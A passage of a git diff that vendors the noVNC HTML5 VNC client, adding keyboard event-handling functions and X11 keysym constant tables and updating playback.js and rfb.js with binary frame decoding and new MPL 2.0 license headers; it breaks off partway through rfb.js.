+// When we receive a "stall" event, wait a few ms before processing the next keydown. If a keypress has also arrived, merge the two
+function VerifyCharModifier(next) {
+ "use strict";
+ var queue = [];
+ var timer = null;
+ function process() {
+ if (timer) {
+ return;
+ }
+
+ var delayProcess = function () {
+ clearTimeout(timer);
+ timer = null;
+ process();
+ };
+
+ while (queue.length !== 0) {
+ var cur = queue[0];
+ queue = queue.splice(1);
+ switch (cur.type) {
+ case 'stall':
+ // insert a delay before processing available events.
+ /* jshint loopfunc: true */
+ timer = setTimeout(delayProcess, 5);
+ /* jshint loopfunc: false */
+ return;
+ case 'keydown':
+ // is the next element a keypress? Then we should merge the two
+ if (queue.length !== 0 && queue[0].type === 'keypress') {
+ // Firefox sends keypress even when no char is generated.
+ // so, if keypress keysym is the same as we'd have guessed from keydown,
+ // the modifier didn't have any effect, and should not be escaped
+ if (queue[0].escape && (!cur.keysym || cur.keysym.keysym !== queue[0].keysym.keysym)) {
+ cur.escape = queue[0].escape;
+ }
+ cur.keysym = queue[0].keysym;
+ queue = queue.splice(1);
+ }
+ break;
+ }
+
+ // swallow stall events, and pass all others to the next stage
+ if (cur.type !== 'stall') {
+ next(cur);
+ }
+ }
+ }
+ return function(evt) {
+ queue.push(evt);
+ process();
+ };
+}
+
+// Keeps track of which keys we (and the server) believe are down
+// When a keyup is received, match it against this list, to determine the corresponding keysym(s)
+// in some cases, a single key may produce multiple keysyms, so the corresponding keyup event must release all of these chars
+// key repeat events should be merged into a single entry.
+// Because we can't always identify which entry a keydown or keyup event corresponds to, we sometimes have to guess
+function TrackKeyState(next) {
+ "use strict";
+ var state = [];
+
+ return function (evt) {
+ var last = state.length !== 0 ? state[state.length-1] : null;
+
+ switch (evt.type) {
+ case 'keydown':
+ // insert a new entry if last seen key was different.
+ if (!last || !evt.keyId || last.keyId !== evt.keyId) {
+ last = {keyId: evt.keyId, keysyms: {}};
+ state.push(last);
+ }
+ if (evt.keysym) {
+ // make sure last event contains this keysym (a single "logical" keyevent
+ // can cause multiple key events to be sent to the VNC server)
+ last.keysyms[evt.keysym.keysym] = evt.keysym;
+ last.ignoreKeyPress = true;
+ next(evt);
+ }
+ break;
+ case 'keypress':
+ if (!last) {
+ last = {keyId: evt.keyId, keysyms: {}};
+ state.push(last);
+ }
+ if (!evt.keysym) {
+ console.log('keypress with no keysym:', evt);
+ }
+
+ // If we didn't expect a keypress, and already sent a keydown to the VNC server
+ // based on the keydown, make sure to skip this event.
+ if (evt.keysym && !last.ignoreKeyPress) {
+ last.keysyms[evt.keysym.keysym] = evt.keysym;
+ evt.type = 'keydown';
+ next(evt);
+ }
+ break;
+ case 'keyup':
+ if (state.length === 0) {
+ return;
+ }
+ var idx = null;
+ // do we have a matching key tracked as being down?
+ for (var i = 0; i !== state.length; ++i) {
+ if (state[i].keyId === evt.keyId) {
+ idx = i;
+ break;
+ }
+ }
+ // if we couldn't find a match (it happens), assume it was the last key pressed
+ if (idx === null) {
+ idx = state.length - 1;
+ }
+
+ var item = state.splice(idx, 1)[0];
+ // for each keysym tracked by this key entry, clone the current event and override the keysym
+ var clone = (function(){
+ function Clone(){}
+ return function (obj) { Clone.prototype=obj; return new Clone(); };
+ }());
+ for (var key in item.keysyms) {
+ var out = clone(evt);
+ out.keysym = item.keysyms[key];
+ next(out);
+ }
+ break;
+ case 'releaseall':
+ /* jshint shadow: true */
+ for (var i = 0; i < state.length; ++i) {
+ for (var key in state[i].keysyms) {
+ var keysym = state[i].keysyms[key];
+ next({keyId: 0, keysym: keysym, type: 'keyup'});
+ }
+ }
+ /* jshint shadow: false */
+ state = [];
+ }
+ };
+}
+
+// Handles "escaping" of modifiers: if a char modifier is used to produce a keysym (such as AltGr-2 to generate an @),
+// then the modifier must be "undone" before sending the @, and "redone" afterwards.
+function EscapeModifiers(next) {
+ "use strict";
+ return function(evt) {
+ if (evt.type !== 'keydown' || evt.escape === undefined) {
+ next(evt);
+ return;
+ }
+ // undo modifiers
+ for (var i = 0; i < evt.escape.length; ++i) {
+ next({type: 'keyup', keyId: 0, keysym: keysyms.lookup(evt.escape[i])});
+ }
+ // send the character event
+ next(evt);
+ // redo modifiers
+ /* jshint shadow: true */
+ for (var i = 0; i < evt.escape.length; ++i) {
+ next({type: 'keydown', keyId: 0, keysym: keysyms.lookup(evt.escape[i])});
+ }
+ /* jshint shadow: false */
+ };
+}
diff --git a/webclients/novnc/include/keysym.js b/webclients/novnc/include/keysym.js
new file mode 100644
index 0000000..a00d595
--- /dev/null
+++ b/webclients/novnc/include/keysym.js
@@ -0,0 +1,376 @@
+var XK_VoidSymbol = 0xffffff, /* Void symbol */
+
+XK_BackSpace = 0xff08, /* Back space, back char */
+XK_Tab = 0xff09,
+XK_Linefeed = 0xff0a, /* Linefeed, LF */
+XK_Clear = 0xff0b,
+XK_Return = 0xff0d, /* Return, enter */
+XK_Pause = 0xff13, /* Pause, hold */
+XK_Scroll_Lock = 0xff14,
+XK_Sys_Req = 0xff15,
+XK_Escape = 0xff1b,
+XK_Delete = 0xffff, /* Delete, rubout */
+
+/* Cursor control & motion */
+
+XK_Home = 0xff50,
+XK_Left = 0xff51, /* Move left, left arrow */
+XK_Up = 0xff52, /* Move up, up arrow */
+XK_Right = 0xff53, /* Move right, right arrow */
+XK_Down = 0xff54, /* Move down, down arrow */
+XK_Prior = 0xff55, /* Prior, previous */
+XK_Page_Up = 0xff55,
+XK_Next = 0xff56, /* Next */
+XK_Page_Down = 0xff56,
+XK_End = 0xff57, /* EOL */
+XK_Begin = 0xff58, /* BOL */
+
+
+/* Misc functions */
+
+XK_Select = 0xff60, /* Select, mark */
+XK_Print = 0xff61,
+XK_Execute = 0xff62, /* Execute, run, do */
+XK_Insert = 0xff63, /* Insert, insert here */
+XK_Undo = 0xff65,
+XK_Redo = 0xff66, /* Redo, again */
+XK_Menu = 0xff67,
+XK_Find = 0xff68, /* Find, search */
+XK_Cancel = 0xff69, /* Cancel, stop, abort, exit */
+XK_Help = 0xff6a, /* Help */
+XK_Break = 0xff6b,
+XK_Mode_switch = 0xff7e, /* Character set switch */
+XK_script_switch = 0xff7e, /* Alias for mode_switch */
+XK_Num_Lock = 0xff7f,
+
+/* Keypad functions, keypad numbers cleverly chosen to map to ASCII */
+
+XK_KP_Space = 0xff80, /* Space */
+XK_KP_Tab = 0xff89,
+XK_KP_Enter = 0xff8d, /* Enter */
+XK_KP_F1 = 0xff91, /* PF1, KP_A, ... */
+XK_KP_F2 = 0xff92,
+XK_KP_F3 = 0xff93,
+XK_KP_F4 = 0xff94,
+XK_KP_Home = 0xff95,
+XK_KP_Left = 0xff96,
+XK_KP_Up = 0xff97,
+XK_KP_Right = 0xff98,
+XK_KP_Down = 0xff99,
+XK_KP_Prior = 0xff9a,
+XK_KP_Page_Up = 0xff9a
+XK_KP_Next = 0xff9b,
+XK_KP_Page_Down = 0xff9b,
+XK_KP_End = 0xff9c,
+XK_KP_Begin = 0xff9d,
+XK_KP_Insert = 0xff9e,
+XK_KP_Delete = 0xff9f,
+XK_KP_Equal = 0xffbd, /* Equals */
+XK_KP_Multiply = 0xffaa,
+XK_KP_Add = 0xffab,
+XK_KP_Separator = 0xffac, /* Separator, often comma */
+XK_KP_Subtract = 0xffad,
+XK_KP_Decimal = 0xffae,
+XK_KP_Divide = 0xffaf,
+
+XK_KP_0 = 0xffb0,
+XK_KP_1 = 0xffb1,
+XK_KP_2 = 0xffb2,
+XK_KP_3 = 0xffb3,
+XK_KP_4 = 0xffb4,
+XK_KP_5 = 0xffb5,
+XK_KP_6 = 0xffb6,
+XK_KP_7 = 0xffb7,
+XK_KP_8 = 0xffb8,
+XK_KP_9 = 0xffb9,
+
+/*
+ * Auxiliary functions; note the duplicate definitions for left and right
+ * function keys; Sun keyboards and a few other manufacturers have such
+ * function key groups on the left and/or right sides of the keyboard.
+ * We've not found a keyboard with more than 35 function keys total.
+ */
+
+XK_F1 = 0xffbe,
+XK_F2 = 0xffbf,
+XK_F3 = 0xffc0,
+XK_F4 = 0xffc1,
+XK_F5 = 0xffc2,
+XK_F6 = 0xffc3,
+XK_F7 = 0xffc4,
+XK_F8 = 0xffc5,
+XK_F9 = 0xffc6,
+XK_F10 = 0xffc7,
+XK_F11 = 0xffc8,
+XK_L1 = 0xffc8,
+XK_F12 = 0xffc9,
+XK_L2 = 0xffc9,
+XK_F13 = 0xffca,
+XK_L3 = 0xffca,
+XK_F14 = 0xffcb,
+XK_L4 = 0xffcb,
+XK_F15 = 0xffcc,
+XK_L5 = 0xffcc,
+XK_F16 = 0xffcd,
+XK_L6 = 0xffcd,
+XK_F17 = 0xffce,
+XK_L7 = 0xffce,
+XK_F18 = 0xffcf,
+XK_L8 = 0xffcf,
+XK_F19 = 0xffd0,
+XK_L9 = 0xffd0,
+XK_F20 = 0xffd1,
+XK_L10 = 0xffd1,
+XK_F21 = 0xffd2,
+XK_R1 = 0xffd2,
+XK_F22 = 0xffd3,
+XK_R2 = 0xffd3,
+XK_F23 = 0xffd4,
+XK_R3 = 0xffd4,
+XK_F24 = 0xffd5,
+XK_R4 = 0xffd5,
+XK_F25 = 0xffd6,
+XK_R5 = 0xffd6,
+XK_F26 = 0xffd7,
+XK_R6 = 0xffd7,
+XK_F27 = 0xffd8,
+XK_R7 = 0xffd8,
+XK_F28 = 0xffd9,
+XK_R8 = 0xffd9,
+XK_F29 = 0xffda,
+XK_R9 = 0xffda,
+XK_F30 = 0xffdb,
+XK_R10 = 0xffdb,
+XK_F31 = 0xffdc,
+XK_R11 = 0xffdc,
+XK_F32 = 0xffdd,
+XK_R12 = 0xffdd,
+XK_F33 = 0xffde,
+XK_R13 = 0xffde,
+XK_F34 = 0xffdf,
+XK_R14 = 0xffdf,
+XK_F35 = 0xffe0,
+XK_R15 = 0xffe0,
+
+/* Modifiers */
+
+XK_Shift_L = 0xffe1, /* Left shift */
+XK_Shift_R = 0xffe2, /* Right shift */
+XK_Control_L = 0xffe3, /* Left control */
+XK_Control_R = 0xffe4, /* Right control */
+XK_Caps_Lock = 0xffe5, /* Caps lock */
+XK_Shift_Lock = 0xffe6, /* Shift lock */
+
+XK_Meta_L = 0xffe7, /* Left meta */
+XK_Meta_R = 0xffe8, /* Right meta */
+XK_Alt_L = 0xffe9, /* Left alt */
+XK_Alt_R = 0xffea, /* Right alt */
+XK_Super_L = 0xffeb, /* Left super */
+XK_Super_R = 0xffec, /* Right super */
+XK_Hyper_L = 0xffed, /* Left hyper */
+XK_Hyper_R = 0xffee, /* Right hyper */
+
+/*
+ * Latin 1
+ * (ISO/IEC 8859-1 = Unicode U+0020..U+00FF)
+ * Byte 3 = 0
+ */
+
+XK_space = 0x0020, /* U+0020 SPACE */
+XK_exclam = 0x0021, /* U+0021 EXCLAMATION MARK */
+XK_quotedbl = 0x0022, /* U+0022 QUOTATION MARK */
+XK_numbersign = 0x0023, /* U+0023 NUMBER SIGN */
+XK_dollar = 0x0024, /* U+0024 DOLLAR SIGN */
+XK_percent = 0x0025, /* U+0025 PERCENT SIGN */
+XK_ampersand = 0x0026, /* U+0026 AMPERSAND */
+XK_apostrophe = 0x0027, /* U+0027 APOSTROPHE */
+XK_quoteright = 0x0027, /* deprecated */
+XK_parenleft = 0x0028, /* U+0028 LEFT PARENTHESIS */
+XK_parenright = 0x0029, /* U+0029 RIGHT PARENTHESIS */
+XK_asterisk = 0x002a, /* U+002A ASTERISK */
+XK_plus = 0x002b, /* U+002B PLUS SIGN */
+XK_comma = 0x002c, /* U+002C COMMA */
+XK_minus = 0x002d, /* U+002D HYPHEN-MINUS */
+XK_period = 0x002e, /* U+002E FULL STOP */
+XK_slash = 0x002f, /* U+002F SOLIDUS */
+XK_0 = 0x0030, /* U+0030 DIGIT ZERO */
+XK_1 = 0x0031, /* U+0031 DIGIT ONE */
+XK_2 = 0x0032, /* U+0032 DIGIT TWO */
+XK_3 = 0x0033, /* U+0033 DIGIT THREE */
+XK_4 = 0x0034, /* U+0034 DIGIT FOUR */
+XK_5 = 0x0035, /* U+0035 DIGIT FIVE */
+XK_6 = 0x0036, /* U+0036 DIGIT SIX */
+XK_7 = 0x0037, /* U+0037 DIGIT SEVEN */
+XK_8 = 0x0038, /* U+0038 DIGIT EIGHT */
+XK_9 = 0x0039, /* U+0039 DIGIT NINE */
+XK_colon = 0x003a, /* U+003A COLON */
+XK_semicolon = 0x003b, /* U+003B SEMICOLON */
+XK_less = 0x003c, /* U+003C LESS-THAN SIGN */
+XK_equal = 0x003d, /* U+003D EQUALS SIGN */
+XK_greater = 0x003e, /* U+003E GREATER-THAN SIGN */
+XK_question = 0x003f, /* U+003F QUESTION MARK */
+XK_at = 0x0040, /* U+0040 COMMERCIAL AT */
+XK_A = 0x0041, /* U+0041 LATIN CAPITAL LETTER A */
+XK_B = 0x0042, /* U+0042 LATIN CAPITAL LETTER B */
+XK_C = 0x0043, /* U+0043 LATIN CAPITAL LETTER C */
+XK_D = 0x0044, /* U+0044 LATIN CAPITAL LETTER D */
+XK_E = 0x0045, /* U+0045 LATIN CAPITAL LETTER E */
+XK_F = 0x0046, /* U+0046 LATIN CAPITAL LETTER F */
+XK_G = 0x0047, /* U+0047 LATIN CAPITAL LETTER G */
+XK_H = 0x0048, /* U+0048 LATIN CAPITAL LETTER H */
+XK_I = 0x0049, /* U+0049 LATIN CAPITAL LETTER I */
+XK_J = 0x004a, /* U+004A LATIN CAPITAL LETTER J */
+XK_K = 0x004b, /* U+004B LATIN CAPITAL LETTER K */
+XK_L = 0x004c, /* U+004C LATIN CAPITAL LETTER L */
+XK_M = 0x004d, /* U+004D LATIN CAPITAL LETTER M */
+XK_N = 0x004e, /* U+004E LATIN CAPITAL LETTER N */
+XK_O = 0x004f, /* U+004F LATIN CAPITAL LETTER O */
+XK_P = 0x0050, /* U+0050 LATIN CAPITAL LETTER P */
+XK_Q = 0x0051, /* U+0051 LATIN CAPITAL LETTER Q */
+XK_R = 0x0052, /* U+0052 LATIN CAPITAL LETTER R */
+XK_S = 0x0053, /* U+0053 LATIN CAPITAL LETTER S */
+XK_T = 0x0054, /* U+0054 LATIN CAPITAL LETTER T */
+XK_U = 0x0055, /* U+0055 LATIN CAPITAL LETTER U */
+XK_V = 0x0056, /* U+0056 LATIN CAPITAL LETTER V */
+XK_W = 0x0057, /* U+0057 LATIN CAPITAL LETTER W */
+XK_X = 0x0058, /* U+0058 LATIN CAPITAL LETTER X */
+XK_Y = 0x0059, /* U+0059 LATIN CAPITAL LETTER Y */
+XK_Z = 0x005a, /* U+005A LATIN CAPITAL LETTER Z */
+XK_bracketleft = 0x005b, /* U+005B LEFT SQUARE BRACKET */
+XK_backslash = 0x005c, /* U+005C REVERSE SOLIDUS */
+XK_bracketright = 0x005d, /* U+005D RIGHT SQUARE BRACKET */
+XK_asciicircum = 0x005e, /* U+005E CIRCUMFLEX ACCENT */
+XK_underscore = 0x005f, /* U+005F LOW LINE */
+XK_grave = 0x0060, /* U+0060 GRAVE ACCENT */
+XK_quoteleft = 0x0060, /* deprecated */
+XK_a = 0x0061, /* U+0061 LATIN SMALL LETTER A */
+XK_b = 0x0062, /* U+0062 LATIN SMALL LETTER B */
+XK_c = 0x0063, /* U+0063 LATIN SMALL LETTER C */
+XK_d = 0x0064, /* U+0064 LATIN SMALL LETTER D */
+XK_e = 0x0065, /* U+0065 LATIN SMALL LETTER E */
+XK_f = 0x0066, /* U+0066 LATIN SMALL LETTER F */
+XK_g = 0x0067, /* U+0067 LATIN SMALL LETTER G */
+XK_h = 0x0068, /* U+0068 LATIN SMALL LETTER H */
+XK_i = 0x0069, /* U+0069 LATIN SMALL LETTER I */
+XK_j = 0x006a, /* U+006A LATIN SMALL LETTER J */
+XK_k = 0x006b, /* U+006B LATIN SMALL LETTER K */
+XK_l = 0x006c, /* U+006C LATIN SMALL LETTER L */
+XK_m = 0x006d, /* U+006D LATIN SMALL LETTER M */
+XK_n = 0x006e, /* U+006E LATIN SMALL LETTER N */
+XK_o = 0x006f, /* U+006F LATIN SMALL LETTER O */
+XK_p = 0x0070, /* U+0070 LATIN SMALL LETTER P */
+XK_q = 0x0071, /* U+0071 LATIN SMALL LETTER Q */
+XK_r = 0x0072, /* U+0072 LATIN SMALL LETTER R */
+XK_s = 0x0073, /* U+0073 LATIN SMALL LETTER S */
+XK_t = 0x0074, /* U+0074 LATIN SMALL LETTER T */
+XK_u = 0x0075, /* U+0075 LATIN SMALL LETTER U */
+XK_v = 0x0076, /* U+0076 LATIN SMALL LETTER V */
+XK_w = 0x0077, /* U+0077 LATIN SMALL LETTER W */
+XK_x = 0x0078, /* U+0078 LATIN SMALL LETTER X */
+XK_y = 0x0079, /* U+0079 LATIN SMALL LETTER Y */
+XK_z = 0x007a, /* U+007A LATIN SMALL LETTER Z */
+XK_braceleft = 0x007b, /* U+007B LEFT CURLY BRACKET */
+XK_bar = 0x007c, /* U+007C VERTICAL LINE */
+XK_braceright = 0x007d, /* U+007D RIGHT CURLY BRACKET */
+XK_asciitilde = 0x007e, /* U+007E TILDE */
+
+XK_nobreakspace = 0x00a0, /* U+00A0 NO-BREAK SPACE */
+XK_exclamdown = 0x00a1, /* U+00A1 INVERTED EXCLAMATION MARK */
+XK_cent = 0x00a2, /* U+00A2 CENT SIGN */
+XK_sterling = 0x00a3, /* U+00A3 POUND SIGN */
+XK_currency = 0x00a4, /* U+00A4 CURRENCY SIGN */
+XK_yen = 0x00a5, /* U+00A5 YEN SIGN */
+XK_brokenbar = 0x00a6, /* U+00A6 BROKEN BAR */
+XK_section = 0x00a7, /* U+00A7 SECTION SIGN */
+XK_diaeresis = 0x00a8, /* U+00A8 DIAERESIS */
+XK_copyright = 0x00a9, /* U+00A9 COPYRIGHT SIGN */
+XK_ordfeminine = 0x00aa, /* U+00AA FEMININE ORDINAL INDICATOR */
+XK_guillemotleft = 0x00ab, /* U+00AB LEFT-POINTING DOUBLE ANGLE QUOTATION MARK */
+XK_notsign = 0x00ac, /* U+00AC NOT SIGN */
+XK_hyphen = 0x00ad, /* U+00AD SOFT HYPHEN */
+XK_registered = 0x00ae, /* U+00AE REGISTERED SIGN */
+XK_macron = 0x00af, /* U+00AF MACRON */
+XK_degree = 0x00b0, /* U+00B0 DEGREE SIGN */
+XK_plusminus = 0x00b1, /* U+00B1 PLUS-MINUS SIGN */
+XK_twosuperior = 0x00b2, /* U+00B2 SUPERSCRIPT TWO */
+XK_threesuperior = 0x00b3, /* U+00B3 SUPERSCRIPT THREE */
+XK_acute = 0x00b4, /* U+00B4 ACUTE ACCENT */
+XK_mu = 0x00b5, /* U+00B5 MICRO SIGN */
+XK_paragraph = 0x00b6, /* U+00B6 PILCROW SIGN */
+XK_periodcentered = 0x00b7, /* U+00B7 MIDDLE DOT */
+XK_cedilla = 0x00b8, /* U+00B8 CEDILLA */
+XK_onesuperior = 0x00b9, /* U+00B9 SUPERSCRIPT ONE */
+XK_masculine = 0x00ba, /* U+00BA MASCULINE ORDINAL INDICATOR */
+XK_guillemotright = 0x00bb, /* U+00BB RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK */
+XK_onequarter = 0x00bc, /* U+00BC VULGAR FRACTION ONE QUARTER */
+XK_onehalf = 0x00bd, /* U+00BD VULGAR FRACTION ONE HALF */
+XK_threequarters = 0x00be, /* U+00BE VULGAR FRACTION THREE QUARTERS */
+XK_questiondown = 0x00bf, /* U+00BF INVERTED QUESTION MARK */
+XK_Agrave = 0x00c0, /* U+00C0 LATIN CAPITAL LETTER A WITH GRAVE */
+XK_Aacute = 0x00c1, /* U+00C1 LATIN CAPITAL LETTER A WITH ACUTE */
+XK_Acircumflex = 0x00c2, /* U+00C2 LATIN CAPITAL LETTER A WITH CIRCUMFLEX */
+XK_Atilde = 0x00c3, /* U+00C3 LATIN CAPITAL LETTER A WITH TILDE */
+XK_Adiaeresis = 0x00c4, /* U+00C4 LATIN CAPITAL LETTER A WITH DIAERESIS */
+XK_Aring = 0x00c5, /* U+00C5 LATIN CAPITAL LETTER A WITH RING ABOVE */
+XK_AE = 0x00c6, /* U+00C6 LATIN CAPITAL LETTER AE */
+XK_Ccedilla = 0x00c7, /* U+00C7 LATIN CAPITAL LETTER C WITH CEDILLA */
+XK_Egrave = 0x00c8, /* U+00C8 LATIN CAPITAL LETTER E WITH GRAVE */
+XK_Eacute = 0x00c9, /* U+00C9 LATIN CAPITAL LETTER E WITH ACUTE */
+XK_Ecircumflex = 0x00ca, /* U+00CA LATIN CAPITAL LETTER E WITH CIRCUMFLEX */
+XK_Ediaeresis = 0x00cb, /* U+00CB LATIN CAPITAL LETTER E WITH DIAERESIS */
+XK_Igrave = 0x00cc, /* U+00CC LATIN CAPITAL LETTER I WITH GRAVE */
+XK_Iacute = 0x00cd, /* U+00CD LATIN CAPITAL LETTER I WITH ACUTE */
+XK_Icircumflex = 0x00ce, /* U+00CE LATIN CAPITAL LETTER I WITH CIRCUMFLEX */
+XK_Idiaeresis = 0x00cf, /* U+00CF LATIN CAPITAL LETTER I WITH DIAERESIS */
+XK_ETH = 0x00d0, /* U+00D0 LATIN CAPITAL LETTER ETH */
+XK_Eth = 0x00d0, /* deprecated */
+XK_Ntilde = 0x00d1, /* U+00D1 LATIN CAPITAL LETTER N WITH TILDE */
+XK_Ograve = 0x00d2, /* U+00D2 LATIN CAPITAL LETTER O WITH GRAVE */
+XK_Oacute = 0x00d3, /* U+00D3 LATIN CAPITAL LETTER O WITH ACUTE */
+XK_Ocircumflex = 0x00d4, /* U+00D4 LATIN CAPITAL LETTER O WITH CIRCUMFLEX */
+XK_Otilde = 0x00d5, /* U+00D5 LATIN CAPITAL LETTER O WITH TILDE */
+XK_Odiaeresis = 0x00d6, /* U+00D6 LATIN CAPITAL LETTER O WITH DIAERESIS */
+XK_multiply = 0x00d7, /* U+00D7 MULTIPLICATION SIGN */
+XK_Oslash = 0x00d8, /* U+00D8 LATIN CAPITAL LETTER O WITH STROKE */
+XK_Ooblique = 0x00d8, /* U+00D8 LATIN CAPITAL LETTER O WITH STROKE */
+XK_Ugrave = 0x00d9, /* U+00D9 LATIN CAPITAL LETTER U WITH GRAVE */
+XK_Uacute = 0x00da, /* U+00DA LATIN CAPITAL LETTER U WITH ACUTE */
+XK_Ucircumflex = 0x00db, /* U+00DB LATIN CAPITAL LETTER U WITH CIRCUMFLEX */
+XK_Udiaeresis = 0x00dc, /* U+00DC LATIN CAPITAL LETTER U WITH DIAERESIS */
+XK_Yacute = 0x00dd, /* U+00DD LATIN CAPITAL LETTER Y WITH ACUTE */
+XK_THORN = 0x00de, /* U+00DE LATIN CAPITAL LETTER THORN */
+XK_Thorn = 0x00de, /* deprecated */
+XK_ssharp = 0x00df, /* U+00DF LATIN SMALL LETTER SHARP S */
+XK_agrave = 0x00e0, /* U+00E0 LATIN SMALL LETTER A WITH GRAVE */
+XK_aacute = 0x00e1, /* U+00E1 LATIN SMALL LETTER A WITH ACUTE */
+XK_acircumflex = 0x00e2, /* U+00E2 LATIN SMALL LETTER A WITH CIRCUMFLEX */
+XK_atilde = 0x00e3, /* U+00E3 LATIN SMALL LETTER A WITH TILDE */
+XK_adiaeresis = 0x00e4, /* U+00E4 LATIN SMALL LETTER A WITH DIAERESIS */
+XK_aring = 0x00e5, /* U+00E5 LATIN SMALL LETTER A WITH RING ABOVE */
+XK_ae = 0x00e6, /* U+00E6 LATIN SMALL LETTER AE */
+XK_ccedilla = 0x00e7, /* U+00E7 LATIN SMALL LETTER C WITH CEDILLA */
+XK_egrave = 0x00e8, /* U+00E8 LATIN SMALL LETTER E WITH GRAVE */
+XK_eacute = 0x00e9, /* U+00E9 LATIN SMALL LETTER E WITH ACUTE */
+XK_ecircumflex = 0x00ea, /* U+00EA LATIN SMALL LETTER E WITH CIRCUMFLEX */
+XK_ediaeresis = 0x00eb, /* U+00EB LATIN SMALL LETTER E WITH DIAERESIS */
+XK_igrave = 0x00ec, /* U+00EC LATIN SMALL LETTER I WITH GRAVE */
+XK_iacute = 0x00ed, /* U+00ED LATIN SMALL LETTER I WITH ACUTE */
+XK_icircumflex = 0x00ee, /* U+00EE LATIN SMALL LETTER I WITH CIRCUMFLEX */
+XK_idiaeresis = 0x00ef, /* U+00EF LATIN SMALL LETTER I WITH DIAERESIS */
+XK_eth = 0x00f0, /* U+00F0 LATIN SMALL LETTER ETH */
+XK_ntilde = 0x00f1, /* U+00F1 LATIN SMALL LETTER N WITH TILDE */
+XK_ograve = 0x00f2, /* U+00F2 LATIN SMALL LETTER O WITH GRAVE */
+XK_oacute = 0x00f3, /* U+00F3 LATIN SMALL LETTER O WITH ACUTE */
+XK_ocircumflex = 0x00f4, /* U+00F4 LATIN SMALL LETTER O WITH CIRCUMFLEX */
+XK_otilde = 0x00f5, /* U+00F5 LATIN SMALL LETTER O WITH TILDE */
+XK_odiaeresis = 0x00f6, /* U+00F6 LATIN SMALL LETTER O WITH DIAERESIS */
+XK_division = 0x00f7, /* U+00F7 DIVISION SIGN */
+XK_oslash = 0x00f8, /* U+00F8 LATIN SMALL LETTER O WITH STROKE */
+XK_ooblique = 0x00f8, /* U+00F8 LATIN SMALL LETTER O WITH STROKE */
+XK_ugrave = 0x00f9, /* U+00F9 LATIN SMALL LETTER U WITH GRAVE */
+XK_uacute = 0x00fa, /* U+00FA LATIN SMALL LETTER U WITH ACUTE */
+XK_ucircumflex = 0x00fb, /* U+00FB LATIN SMALL LETTER U WITH CIRCUMFLEX */
+XK_udiaeresis = 0x00fc, /* U+00FC LATIN SMALL LETTER U WITH DIAERESIS */
+XK_yacute = 0x00fd, /* U+00FD LATIN SMALL LETTER Y WITH ACUTE */
+XK_thorn = 0x00fe, /* U+00FE LATIN SMALL LETTER THORN */
+XK_ydiaeresis = 0x00ff; /* U+00FF LATIN SMALL LETTER Y WITH DIAERESIS */
diff --git a/webclients/novnc/include/keysymdef.js b/webclients/novnc/include/keysymdef.js
new file mode 100644
index 0000000..f94445c
--- /dev/null
+++ b/webclients/novnc/include/keysymdef.js
@@ -0,0 +1,15 @@
+// This file describes mappings from Unicode codepoints to the keysym values
+// (and optionally, key names) expected by the RFB protocol
+// How this file was generated:
+// node /Users/jalf/dev/mi/novnc/utils/parse.js /opt/X11/include/X11/keysymdef.h
+var keysyms = (function(){
+ "use strict";
+ var keynames = null;
+ var codepoints = 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+
+ function lookup(k) { return k ? {keysym: k, keyname: keynames ? keynames[k] : k} : undefined; }
+ return {
+ fromUnicode : function(u) { return lookup(codepoints[u]); },
+ lookup : lookup
+ };
+})();
diff --git a/webclients/novnc/include/playback.js b/webclients/novnc/include/playback.js
index 22a00a3..7756529 100644
--- a/webclients/novnc/include/playback.js
+++ b/webclients/novnc/include/playback.js
@@ -1,7 +1,7 @@
/*
* noVNC: HTML5 VNC client
- * Copyright (C) 2011 Joel Martin
- * Licensed under LGPL-3 (see LICENSE.LGPL-3)
+ * Copyright (C) 2012 Joel Martin
+ * Licensed under MPL 2.0 (see LICENSE.txt)
*/
"use strict";
@@ -79,10 +79,22 @@
}
};
+var bytes_processed = 0;
+
do_packet = function () {
//Util.Debug("Processing frame: " + frame_idx);
- var frame = VNC_frame_data[frame_idx];
- rfb.recv_message({'data' : frame.slice(frame.indexOf('{', 1) + 1)});
+ var frame = VNC_frame_data[frame_idx],
+ start = frame.indexOf('{', 1) + 1;
+ bytes_processed += frame.length - start;
+ if (VNC_frame_encoding === 'binary') {
+ var u8 = new Uint8Array(frame.length - start);
+ for (var i = 0; i < frame.length - start; i++) {
+ u8[i] = frame.charCodeAt(start + i);
+ }
+ rfb.recv_message({'data' : u8});
+ } else {
+ rfb.recv_message({'data' : frame.slice(start)});
+ }
frame_idx += 1;
queue_next_packet();
diff --git a/webclients/novnc/include/rfb.js b/webclients/novnc/include/rfb.js
index 75b9797..0afe656 100644
--- a/webclients/novnc/include/rfb.js
+++ b/webclients/novnc/include/rfb.js
@@ -1,7 +1,8 @@
/*
* noVNC: HTML5 VNC client
- * Copyright (C) 2011 Joel Martin
- * Licensed under LGPL-3 (see LICENSE.txt)
+ * Copyright (C) 2012 Joel Martin
+ * Copyright (C) 2013 Samuel Mannehed for Cendio AB
+ * Licensed under MPL 2.0 (see LICENSE.txt)
*
* See README.md for usage and integration instructions.
*
@@ -9,1839 +10,1874 @@
* (c) 2012 Michael Tinglof, Joe Balaz, Les Piech (Mercuri.ca)
*/
-/*jslint white: false, browser: true, bitwise: false, plusplus: false */
+/*jslint white: false, browser: true */
/*global window, Util, Display, Keyboard, Mouse, Websock, Websock_native, Base64, DES */
+var RFB;
-function RFB(defaults) {
-"use strict";
-
-var that = {}, // Public API methods
- conf = {}, // Configuration attributes
-
- // Pre-declare private functions used before definitions (jslint)
- init_vars, updateState, fail, handle_message,
- init_msg, normal_msg, framebufferUpdate, print_stats,
-
- pixelFormat, clientEncodings, fbUpdateRequest, fbUpdateRequests,
- keyEvent, pointerEvent, clientCutText,
-
- getTightCLength, extract_data_uri, scan_tight_imgQ,
- keyPress, mouseButton, mouseMove,
-
- checkEvents, // Overridable for testing
-
-
- //
- // Private RFB namespace variables
- //
- rfb_host = '',
- rfb_port = 5900,
- rfb_password = '',
- rfb_path = '',
-
- rfb_state = 'disconnected',
- rfb_version = 0,
- rfb_max_version= 3.8,
- rfb_auth_scheme= '',
-
-
- // In preference order
- encodings = [
- ['COPYRECT', 0x01 ],
- ['TIGHT', 0x07 ],
- ['TIGHT_PNG', -260 ],
- ['HEXTILE', 0x05 ],
- ['RRE', 0x02 ],
- ['RAW', 0x00 ],
- ['DesktopSize', -223 ],
- ['Cursor', -239 ],
-
- // Psuedo-encoding settings
- //['JPEG_quality_lo', -32 ],
- ['JPEG_quality_med', -26 ],
- //['JPEG_quality_hi', -23 ],
- //['compress_lo', -255 ],
- ['compress_hi', -247 ],
- ['last_rect', -224 ]
